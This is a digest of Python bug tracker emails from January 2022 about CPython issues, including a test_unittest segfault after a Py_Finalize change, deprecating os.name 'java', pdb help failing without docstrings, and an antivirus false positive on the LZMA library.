comment: > bpo-46417: Py_Finalize() clears static types (GH-30743) Oh, test_unittest crashed on s390x Debian 3.x: https://buildbot.python.org/all/#/builders/49/builds/1789 I fail to see the relationship between my change and this crash. I don't expect test_unittest to call Py_Finalize() and then Py_Initialize() again. --- 0:01:32 load avg: 4.77 [152/432/1] test_unittest crashed (Exit code -11) -- running: test_peg_generator (48.3 sec) Fatal Python error: Segmentation fault Current thread 0x000003ff89cf8720 (most recent call first): File "/home/dje/cpython-buildarea/3.x.edelsohn-debian-z/build/Lib/inspect.py", line 2179 in _signature_fromstr File "/home/dje/cpython-buildarea/3.x.edelsohn-debian-z/build/Lib/inspect.py", line 2273 in _signature_from_builtin File "/home/dje/cpython-buildarea/3.x.edelsohn-debian-z/build/Lib/inspect.py", line 2461 in _signature_from_callable File "/home/dje/cpython-buildarea/3.x.edelsohn-debian-z/build/Lib/inspect.py", line 2465 in _signature_from_callable File "/home/dje/cpython-buildarea/3.x.edelsohn-debian-z/build/Lib/inspect.py", line 2966 in from_callable File "/home/dje/cpython-buildarea/3.x.edelsohn-debian-z/build/Lib/inspect.py", line 3218 in signature File "/home/dje/cpython-buildarea/3.x.edelsohn-debian-z/build/Lib/unittest/mock.py", line 112 in _get_signature_object File "/home/dje/cpython-buildarea/3.x.edelsohn-debian-z/build/Lib/unittest/mock.py", line 505 in _mock_add_spec File "/home/dje/cpython-buildarea/3.x.edelsohn-debian-z/build/Lib/unittest/mock.py", line 487 in mock_add_spec File "/home/dje/cpython-buildarea/3.x.edelsohn-debian-z/build/Lib/unittest/test/testmock/testmock.py", line 1767 in test_mock_add_spec File "/home/dje/cpython-buildarea/3.x.edelsohn-debian-z/build/Lib/unittest/case.py", line 547 in _callTestMethod (...) File "/home/dje/cpython-buildarea/3.x.edelsohn-debian-z/build/Lib/test/regrtest.py", line 47 in File "", line 88 in _run_code File "", line 198 in _run_module_as_main Extension modules: _testcapi (total: 1) --- ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 07:52:38 2022 From: report at bugs.python.org (Xavier Morel) Date: Fri, 21 Jan 2022 12:52:38 +0000 Subject: [issue46455] Deprecate / remove os.name=java Message-ID: <1642769558.95.0.589223779906.issue46455@roundup.psfhosted.org> New submission from Xavier Morel : os.name is defined as: > The following names have currently been registered: 'posix', 'nt', 'java'. In my understanding, the value `'java'` is for the benefit of jython, which is rather poorly. Other third-party implementations which may or may not have a "full os module" (e.g. ironpython) do not -- as far as I can tell -- get to be registered against this value, and Python 3.3's addition of `sys.implementation` seems like a more reliable (and better supported) way to perform implementation-specific checks. Therefore I feel `os.name == 'java'` only exists to confuse readers of the documentation, but doesn't really provide any value, and should be removed. ---------- components: Library (Lib) messages: 411123 nosy: xmorel priority: normal severity: normal status: open title: Deprecate / remove os.name=java versions: Python 3.10, Python 3.11, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 08:02:04 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 21 Jan 2022 13:02:04 +0000 Subject: [issue40757] tarfile: ignore_zeros = True won't raise exception even on invalid (non-zero) TARs In-Reply-To: <1590343844.38.0.257135087645.issue40757@roundup.psfhosted.org> Message-ID: <1642770124.33.0.96408966541.issue40757@roundup.psfhosted.org> Irit Katriel added the comment: I am unable to reproduce this on 3.11: >>> import tarfile >>> tarfile.open( "foo.txt" ) Traceback (most recent call last): File "", line 1, in File "/Users/iritkatriel/src/cpython-1/Lib/tarfile.py", line 1613, in open return func(name, "r", fileobj, **kwargs) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/Users/iritkatriel/src/cpython-1/Lib/tarfile.py", line 1679, in gzopen fileobj = GzipFile(name, mode + "b", compresslevel, fileobj) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/Users/iritkatriel/src/cpython-1/Lib/gzip.py", line 174, in __init__ fileobj = self.myfileobj = builtins.open(filename, mode or 'rb') ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ FileNotFoundError: [Errno 2] No such file or directory: 'foo.txt' >>> tarfile.open( "foo.txt", ignore_zeros = True ) Traceback (most recent call last): File "", line 1, in File "/Users/iritkatriel/src/cpython-1/Lib/tarfile.py", line 1613, in open return func(name, "r", fileobj, **kwargs) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/Users/iritkatriel/src/cpython-1/Lib/tarfile.py", line 1679, in gzopen fileobj = GzipFile(name, mode + "b", compresslevel, fileobj) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/Users/iritkatriel/src/cpython-1/Lib/gzip.py", line 174, in __init__ fileobj = self.myfileobj = builtins.open(filename, mode or 'rb') ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ FileNotFoundError: [Errno 2] No such file or directory: 'foo.txt' >>> ---------- nosy: +iritkatriel resolution: -> out of date status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 08:05:12 2022 From: report at bugs.python.org (Xavier Morel) Date: Fri, 21 Jan 2022 13:05:12 +0000 Subject: [issue46455] Deprecate / remove os.name=java In-Reply-To: <1642769558.95.0.589223779906.issue46455@roundup.psfhosted.org> Message-ID: <1642770312.93.0.7170566135.issue46455@roundup.psfhosted.org> Xavier Morel added the comment: PS: "platform.system()" also documents `Java` as a value which doesn't seem to make that much sense, however it's an open set so probably less of an issue / source of confusion. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 08:10:50 2022 From: report at bugs.python.org (Batuhan Taskaya) Date: Fri, 21 Jan 2022 13:10:50 +0000 Subject: [issue40729] Update the list of auto-generated files in .gitattributes Message-ID: <1642770650.19.0.347335897321.issue40729@roundup.psfhosted.org> New submission from Batuhan Taskaya : Superseeded by https://github.com/python/core-workflow/issues/425 ---------- resolution: -> later stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 08:15:12 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Fri, 21 Jan 2022 13:15:12 +0000 Subject: [issue46425] Multiple test modules fail to run if invoked directly In-Reply-To: <1642531299.32.0.982136294223.issue46425@roundup.psfhosted.org> Message-ID: <1642770912.4.0.691889319372.issue46425@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- pull_requests: +28933 pull_request: https://github.com/python/cpython/pull/30746 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 08:23:44 2022 From: report at bugs.python.org (mike mcleod) Date: Fri, 21 Jan 2022 13:23:44 +0000 Subject: [issue10202] ftplib doesn't check close status after sending file In-Reply-To: <1288119890.05.0.476969255522.issue10202@psf.upfronthosting.co.za> Message-ID: <1642771424.86.0.950090831028.issue10202@roundup.psfhosted.org> Change by mike mcleod : ---------- keywords: +patch pull_requests: +28934 stage: needs patch -> patch review pull_request: https://github.com/python/cpython/pull/30747 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 08:26:56 2022 From: report at bugs.python.org (Oleg Iarygin) Date: Fri, 21 Jan 2022 13:26:56 +0000 Subject: [issue46038] Mark /configure file as generated in .gitattributes In-Reply-To: <1639153155.2.0.704018156223.issue46038@roundup.psfhosted.org> Message-ID: <1642771616.54.0.590840365597.issue46038@roundup.psfhosted.org> Change by Oleg Iarygin : ---------- pull_requests: +28935 pull_request: https://github.com/python/cpython/pull/30745 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 08:27:05 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 21 Jan 2022 13:27:05 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642771625.64.0.473446871293.issue46417@roundup.psfhosted.org> STINNER Victor added the comment: Maybe the problem is that I changed the order in which types are initialized in _PyTypes_InitTypes()? So far, test_unittest crashed on 4 buildbot workers: * s390x Debian 3.x: ./configure --prefix '$(PWD)/target' --with-pydebug https://buildbot.python.org/all/#/builders/49/builds/1789 * aarch64 Fedora Stable 3.x: ../configure --prefix '$(PWD)/target' --with-pydebug --with-platlibdir=lib64 --enable-ipv6 --enable-shared --with-computed-gotos=yes --with-dbmliborder=gdbm:ndbm:bdb --enable-loadable-sqlite-extensions --with-ssl-default-suites=openssl --without-static-libpython --with-lto https://buildbot.python.org/all/#/builders/125/builds/1263 * aarch64 RHEL8 3.x: ../configure --prefix '$(PWD)/target' --with-pydebug --with-platlibdir=lib64 --enable-ipv6 --enable-shared --with-computed-gotos=yes --with-dbmliborder=gdbm:ndbm:bdb --enable-loadable-sqlite-extensions --with-ssl-default-suites=openssl --without-static-libpython --with-lto https://buildbot.python.org/all/#/builders/529/builds/1357 * PPC64LE RHEL8 3.x: ../configure --prefix '$(PWD)/target' --with-pydebug --with-platlibdir=lib64 --enable-ipv6 --enable-shared --with-computed-gotos=yes --with-dbmliborder=gdbm:ndbm:bdb --enable-loadable-sqlite-extensions --with-ssl-default-suites=openssl --without-static-libpython --with-lto https://buildbot.python.org/all/#/builders/559/builds/1196 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 08:47:24 2022 From: report at bugs.python.org (Oleg Iarygin) Date: Fri, 21 Jan 2022 13:47:24 +0000 Subject: [issue46038] Mark /configure file as generated in .gitattributes In-Reply-To: <1639153155.2.0.704018156223.issue46038@roundup.psfhosted.org> Message-ID: <1642772844.93.0.899675835033.issue46038@roundup.psfhosted.org> Oleg Iarygin added the comment: Superseded by . The PR itself is included as a part of PR30745. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 08:58:53 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 21 Jan 2022 13:58:53 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642773533.08.0.681518015338.issue46417@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +28936 pull_request: https://github.com/python/cpython/pull/30749 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 09:04:00 2022 From: report at bugs.python.org (Batuhan Taskaya) Date: Fri, 21 Jan 2022 14:04:00 +0000 Subject: [issue46212] Avoid temporary `varargs` tuple creation in argument passing In-Reply-To: <1640945147.14.0.155789461509.issue46212@roundup.psfhosted.org> Message-ID: <1642773840.48.0.425527783337.issue46212@roundup.psfhosted.org> Batuhan Taskaya added the comment: > Note that _PyArg_UnpackKeywordsWithVararg is defined with PyAPI_FUNC. Changing its argument spec is strictly a backwards incompatible change, IIUC. AFAIK we have committed _PyArg_UnpackKeywordsWithVararg on 3.11 alpha, so I think it should be fine. Also CC: @pablogsal ---------- nosy: +pablogsal _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 09:04:36 2022 From: report at bugs.python.org (Oleg Iarygin) Date: Fri, 21 Jan 2022 14:04:36 +0000 Subject: [issue45877] Inconsistency in minimal supported version of Microsoft Visual Studio In-Reply-To: <1637658070.78.0.512777632516.issue45877@roundup.psfhosted.org> Message-ID: <1642773876.51.0.116040796896.issue45877@roundup.psfhosted.org> Change by Oleg Iarygin : ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 09:06:02 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Fri, 21 Jan 2022 14:06:02 +0000 Subject: [issue46212] Avoid temporary `varargs` tuple creation in argument passing In-Reply-To: <1640945147.14.0.155789461509.issue46212@roundup.psfhosted.org> Message-ID: <1642773962.18.0.386351292829.issue46212@roundup.psfhosted.org> Erlend E. Aasland added the comment: > AFAIK we have committed _PyArg_UnpackKeywordsWithVararg on 3.11 alpha, so I think it should be fine. I see, so no ABI worries then. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 09:47:35 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 21 Jan 2022 14:47:35 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642776455.89.0.880537232579.issue46417@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +28937 pull_request: https://github.com/python/cpython/pull/30750 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 10:00:52 2022 From: report at bugs.python.org (Steve Dower) Date: Fri, 21 Jan 2022 15:00:52 +0000 Subject: [issue46427] Correct MSBuild's configuration for _freeze_module.exe In-Reply-To: <1642539207.01.0.739472592427.issue46427@roundup.psfhosted.org> Message-ID: <1642777252.97.0.972105799573.issue46427@roundup.psfhosted.org> Steve Dower added the comment: Windows ARM64 devices all support x86 and x64 emulation, so while it's less than ideal performance-wise to use a non-native build for this step, it's hardly fatal. That step doesn't rely on the underlying architecture, just the current Python bytecode format (which is platform independent). Leaving the Platform blank is not acceptable. It needs to be set to the preferred tool architecture, which as it happens, is $(PreferredToolArchitecture). As I said, if you've hit a *real* issue around this, please describe it. There is no theoretical issue here, and as far as I'm aware, no practical issues either. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 10:09:01 2022 From: report at bugs.python.org (maximus733) Date: Fri, 21 Jan 2022 15:09:01 +0000 Subject: [issue46450] namedtuple leaks data between instances when field's default value is empty list In-Reply-To: <1642738776.82.0.0885614963013.issue46450@roundup.psfhosted.org> Message-ID: <1642777741.93.0.226945810893.issue46450@roundup.psfhosted.org> maximus733 <3ed7qja59y at liamekaens.com> added the comment: Thanks for the clarification. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 10:12:57 2022 From: report at bugs.python.org (Steve Dower) Date: Fri, 21 Jan 2022 15:12:57 +0000 Subject: [issue46452] Possible false detection of Windows LZMA library as a malware by Avast In-Reply-To: <1642760942.75.0.147462544122.issue46452@roundup.psfhosted.org> Message-ID: Steve Dower added the comment: I don't think we've changed anything here in years, so I'd be very surprised if something new was in there. More likely somebody PyInstaller'd some malware and the scanners picked up a generic part of it as the signature. Reporting it as a false positive should let them compare against the original sample and correct it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 10:20:11 2022 From: report at bugs.python.org (jiahua wang) Date: Fri, 21 Jan 2022 15:20:11 +0000 Subject: [issue46456] Add mime type "image/avif" Message-ID: <1642778411.49.0.176829776976.issue46456@roundup.psfhosted.org> New submission from jiahua wang : https://www.iana.org/assignments/media-types/image/avif ---------- components: Library (Lib) messages: 411134 nosy: wangjiahua priority: normal severity: normal status: open title: Add mime type "image/avif" versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 10:21:14 2022 From: report at bugs.python.org (Nathan/Eilisha Shiraini) Date: Fri, 21 Jan 2022 15:21:14 +0000 Subject: [issue46452] Possible false detection of Windows LZMA library as a malware by Avast In-Reply-To: <1642760942.75.0.147462544122.issue46452@roundup.psfhosted.org> Message-ID: <1642778474.88.0.0504494607803.issue46452@roundup.psfhosted.org> Nathan/Eilisha Shiraini added the comment: Thanks for the quick response. It seems Avast was just as quick, I updated my AV's databases a few minutes ago and now it doesn't repost the files as malware. Same for the VirusTotal scans. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 10:21:28 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 21 Jan 2022 15:21:28 +0000 Subject: [issue46457] test_unittest: TestAsyncCase.test_debug_cleanup_same_loop() hangs with gc.set_threshold(500) Message-ID: <1642778488.24.0.387685452896.issue46457@roundup.psfhosted.org> New submission from STINNER Victor : The following command hangs: ./python -u -m test -v test_unittest -m test_debug_cleanup_same_loop -v 2>/dev/null if the following patch is applied on Python: diff --git a/Lib/unittest/test/test_async_case.py b/Lib/unittest/test/test_async_case.py index 3717486b265..c6759a13494 100644 --- a/Lib/unittest/test/test_async_case.py +++ b/Lib/unittest/test/test_async_case.py @@ -2,6 +2,7 @@ import unittest from test import support +import gc; gc.set_threshold(500) class MyException(Exception): pass ---------- components: Tests, asyncio messages: 411136 nosy: asvetlov, vstinner, yselivanov priority: normal severity: normal status: open title: test_unittest: TestAsyncCase.test_debug_cleanup_same_loop() hangs with gc.set_threshold(500) versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 10:26:03 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 21 Jan 2022 15:26:03 +0000 Subject: [issue46458] Optimise try-except code generation for the happy path Message-ID: <1642778763.27.0.10743946589.issue46458@roundup.psfhosted.org> New submission from Irit Katriel : The compiler emits code for try-except-else-finally in the order in which it appears in the source, but it could probably produce faster code if it optimizes for the no-exception path. ---------- assignee: iritkatriel components: Interpreter Core messages: 411137 nosy: iritkatriel priority: normal severity: normal status: open title: Optimise try-except code generation for the happy path type: performance versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 10:43:05 2022 From: report at bugs.python.org (Jelle Zijlstra) Date: Fri, 21 Jan 2022 15:43:05 +0000 Subject: [issue46454] '0 -> /dev/null' is lost In-Reply-To: <1642766153.46.0.556791990474.issue46454@roundup.psfhosted.org> Message-ID: <1642779785.29.0.886753784353.issue46454@roundup.psfhosted.org> Jelle Zijlstra added the comment: This sounds like a consequence of PEP 446. ---------- nosy: +Jelle Zijlstra _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 10:45:18 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 21 Jan 2022 15:45:18 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642779918.32.0.985252186536.issue46417@roundup.psfhosted.org> STINNER Victor added the comment: New changeset fda88864980ffce57add0ea03fb9cbda2798975e by Victor Stinner in branch 'main': bpo-46417: Revert remove_subclass() change (GH-30750) https://github.com/python/cpython/commit/fda88864980ffce57add0ea03fb9cbda2798975e ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 10:48:24 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 21 Jan 2022 15:48:24 +0000 Subject: [issue46458] Optimise try-except code generation for the happy path In-Reply-To: <1642778763.27.0.10743946589.issue46458@roundup.psfhosted.org> Message-ID: <1642780104.19.0.880576268592.issue46458@roundup.psfhosted.org> Change by Irit Katriel : ---------- keywords: +patch pull_requests: +28938 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30751 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 10:49:31 2022 From: report at bugs.python.org (oMqngo) Date: Fri, 21 Jan 2022 15:49:31 +0000 Subject: [issue46459] Installing python to external drive (USB) using python installer failure Message-ID: <1642780171.22.0.598043296536.issue46459@roundup.psfhosted.org> New submission from oMqngo : When trying to install python to a external drive, such as a USB drive, using the python installer (while having python installed on the local PC), the installer continues to the "download finished" window without installing anything to the USB drive. ---------- components: Windows messages: 411140 nosy: oMqngo, paul.moore, steve.dower, tim.golden, zach.ware priority: normal severity: normal status: open title: Installing python to external drive (USB) using python installer failure type: behavior versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 11:02:10 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 21 Jan 2022 16:02:10 +0000 Subject: [issue46458] Optimise try-except code generation for the happy path In-Reply-To: <1642778763.27.0.10743946589.issue46458@roundup.psfhosted.org> Message-ID: <1642780930.52.0.734576975174.issue46458@roundup.psfhosted.org> Irit Katriel added the comment: See also the discussion on https://github.com/faster-cpython/ideas/issues/226. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 11:19:59 2022 From: report at bugs.python.org (Steve Dower) Date: Fri, 21 Jan 2022 16:19:59 +0000 Subject: [issue46459] Installing python to external drive (USB) using python installer failure In-Reply-To: <1642780171.22.0.598043296536.issue46459@roundup.psfhosted.org> Message-ID: <1642781999.69.0.568591780053.issue46459@roundup.psfhosted.org> Steve Dower added the comment: The installer doesn't support installing twice on the same machine, even to different locations. What you probably want to do is to install it normally, then copy all the files onto the USB. You will need to "python -m pip install --force pip" in the new copy to fix up its scripts, and it may interfere with a system install if you use it on a machine that also has its own installation (though that's mostly been cleaned up since ~3.5), but should otherwise be fine. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 11:31:20 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 21 Jan 2022 16:31:20 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642782680.58.0.628917370926.issue46417@roundup.psfhosted.org> STINNER Victor added the comment: > bpo-46417: Revert remove_subclass() change (GH-30750) Ok, this change fixed buildbots. I saw code in typeobject.c which uses a borrowed reference to tp_subclasses with a loop which can modify tp_subclasses. This code should be modified to hold a strong reference to tp_subclasses while accessing it. The test_mock_add_spec() test of test_unittest modifies the subclasses of many types and so is indirectly a stress tests for code accessing tp_subclasses. That's why the regression was only seen in this specific test. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 11:37:53 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 21 Jan 2022 16:37:53 +0000 Subject: [issue46454] '0 -> /dev/null' is lost In-Reply-To: <1642766153.46.0.556791990474.issue46454@roundup.psfhosted.org> Message-ID: <1642783073.86.0.450896719233.issue46454@roundup.psfhosted.org> STINNER Victor added the comment: That's not a bug, but a deliberate choice. In Python 3, file descriptors are no longer inherited by default by child processes (fork+exec). Jelle is right, it was changed by my PEP 446. You must use pass_fds=[fd] parameter of subprocess. Or at least, make the file descriptor inheritable (worse solution). ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 11:40:54 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 21 Jan 2022 16:40:54 +0000 Subject: [issue42197] Disable automatic update of frame locals during tracing In-Reply-To: <1603981001.04.0.667888856285.issue42197@roundup.psfhosted.org> Message-ID: <1642783254.54.0.691119407853.issue42197@roundup.psfhosted.org> STINNER Victor added the comment: As I already wrote previously, I'm a supporter of requiring debuggers and profilers to explicitly call PyFrame_FastToLocalsWithError() and PyFrame_LocalsToFast(). It should only impact a minority of users, whereas the majority will benefit of way better performance, no? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 11:45:55 2022 From: report at bugs.python.org (Yellow Dusk) Date: Fri, 21 Jan 2022 16:45:55 +0000 Subject: [issue46442] testExceptionCleanupNames doesn't test anything? In-Reply-To: <1642638785.66.0.497652799154.issue46442@roundup.psfhosted.org> Message-ID: <1642783555.89.0.636906101107.issue46442@roundup.psfhosted.org> Yellow Dusk added the comment: Great point, it's indeed a good thing to test. So I guess the test is just incomplete. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 11:50:39 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Fri, 21 Jan 2022 16:50:39 +0000 Subject: [issue46460] Doc/library/dis.rst lists `versionchange` twice for `WITH_EXCEPT_START` Message-ID: <1642783839.05.0.242453001499.issue46460@roundup.psfhosted.org> New submission from Nikita Sobolev : Right now it has two sections: ``` .. versionchanged:: 3.11 The ``__exit__`` function is in position 8 of the stack rather than 7. ``` And ``` .. versionchanged:: 3.11 The ``__exit__`` function is in position 4 of the stack rather than 7. Exception representation on the stack now consist of one, not three, items. ``` Furthermore, they seem to contradict each other. I think that we should only keep the last one. I will send a PR for it. ---------- assignee: docs at python components: Documentation messages: 411147 nosy: docs at python, sobolevn priority: normal severity: normal status: open title: Doc/library/dis.rst lists `versionchange` twice for `WITH_EXCEPT_START` type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 11:51:52 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Fri, 21 Jan 2022 16:51:52 +0000 Subject: [issue46460] Doc/library/dis.rst lists `versionchange` twice for `WITH_EXCEPT_START` In-Reply-To: <1642783839.05.0.242453001499.issue46460@roundup.psfhosted.org> Message-ID: <1642783912.76.0.0682004085496.issue46460@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- keywords: +patch pull_requests: +28939 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30752 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 11:53:20 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 21 Jan 2022 16:53:20 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642784000.02.0.230464515506.issue46417@roundup.psfhosted.org> STINNER Victor added the comment: New changeset a1bf329bca80a0259da454c936075e11e6af710f by Victor Stinner in branch 'main': bpo-46417: Add missing types of _PyTypes_InitTypes() (GH-30749) https://github.com/python/cpython/commit/a1bf329bca80a0259da454c936075e11e6af710f ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 11:57:50 2022 From: report at bugs.python.org (Yellow Dusk) Date: Fri, 21 Jan 2022 16:57:50 +0000 Subject: [issue46442] testExceptionCleanupNames doesn't test anything? In-Reply-To: <1642638785.66.0.497652799154.issue46442@roundup.psfhosted.org> Message-ID: <1642784270.26.0.233202272238.issue46442@roundup.psfhosted.org> Change by Yellow Dusk : ---------- keywords: +patch pull_requests: +28940 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30753 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 12:01:02 2022 From: report at bugs.python.org (miss-islington) Date: Fri, 21 Jan 2022 17:01:02 +0000 Subject: [issue46434] pdb help fails with AttributeError when using Windows embeddable package In-Reply-To: <1642610508.79.0.170638076327.issue46434@roundup.psfhosted.org> Message-ID: <1642784462.85.0.916332783335.issue46434@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 5.0 -> 6.0 pull_requests: +28941 pull_request: https://github.com/python/cpython/pull/30754 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 12:01:07 2022 From: report at bugs.python.org (Steve Dower) Date: Fri, 21 Jan 2022 17:01:07 +0000 Subject: [issue46434] pdb help fails with AttributeError when using Windows embeddable package In-Reply-To: <1642610508.79.0.170638076327.issue46434@roundup.psfhosted.org> Message-ID: <1642784467.97.0.536131343046.issue46434@roundup.psfhosted.org> Steve Dower added the comment: New changeset 60705cff70576482fea31dcafbf8a37cbb751ea5 by Tom Sparrow in branch 'main': bpo-46434: Handle missing docstrings in pdb help (GH-30705) https://github.com/python/cpython/commit/60705cff70576482fea31dcafbf8a37cbb751ea5 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 12:01:23 2022 From: report at bugs.python.org (miss-islington) Date: Fri, 21 Jan 2022 17:01:23 +0000 Subject: [issue46434] pdb help fails with AttributeError when using Windows embeddable package In-Reply-To: <1642610508.79.0.170638076327.issue46434@roundup.psfhosted.org> Message-ID: <1642784483.86.0.0440222781993.issue46434@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +28942 pull_request: https://github.com/python/cpython/pull/30755 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 12:09:22 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 21 Jan 2022 17:09:22 +0000 Subject: [issue31817] Compilation Error with Python 3.6.1/3.6.3 with Tkinter In-Reply-To: <1508407674.96.0.213398074469.issue31817@psf.upfronthosting.co.za> Message-ID: <1642784962.88.0.09601451298.issue31817@roundup.psfhosted.org> Irit Katriel added the comment: 3.6 is no longer maintained. Is this a problem on current versions or can be close this? ---------- nosy: +iritkatriel resolution: -> out of date status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 12:09:52 2022 From: report at bugs.python.org (Antoine Pitrou) Date: Fri, 21 Jan 2022 17:09:52 +0000 Subject: [issue40120] Undefined C behavior going beyond end of struct via a [1] arrays. In-Reply-To: <1585602263.71.0.279519604291.issue40120@roundup.psfhosted.org> Message-ID: <1642784992.82.0.937203701489.issue40120@roundup.psfhosted.org> Antoine Pitrou added the comment: How about: #ifdef __cplusplus char array[1]; #else char array[]; #endif ? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 12:10:04 2022 From: report at bugs.python.org (Guido van Rossum) Date: Fri, 21 Jan 2022 17:10:04 +0000 Subject: [issue46449] Deep-freezed modules create inconsistency in sys.gettotalrefcount() (_Py_Reftotal) In-Reply-To: <1642734126.76.0.617739526871.issue46449@roundup.psfhosted.org> Message-ID: <1642785004.74.0.436746027106.issue46449@roundup.psfhosted.org> Guido van Rossum added the comment: I was hoping @eric.snow could tell me. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 12:14:29 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 21 Jan 2022 17:14:29 +0000 Subject: [issue32976] linux/random.h present but cannot be compiled In-Reply-To: <1519908769.96.0.467229070634.issue32976@psf.upfronthosting.co.za> Message-ID: <1642785269.7.0.410499573396.issue32976@roundup.psfhosted.org> Irit Katriel added the comment: Thanks for reporting this. Since 3.6 is no longer maintained it's unlikely that this will be investigated. Please create a new issue if you are seeing this with a current version of Python (>= 3.9). ---------- 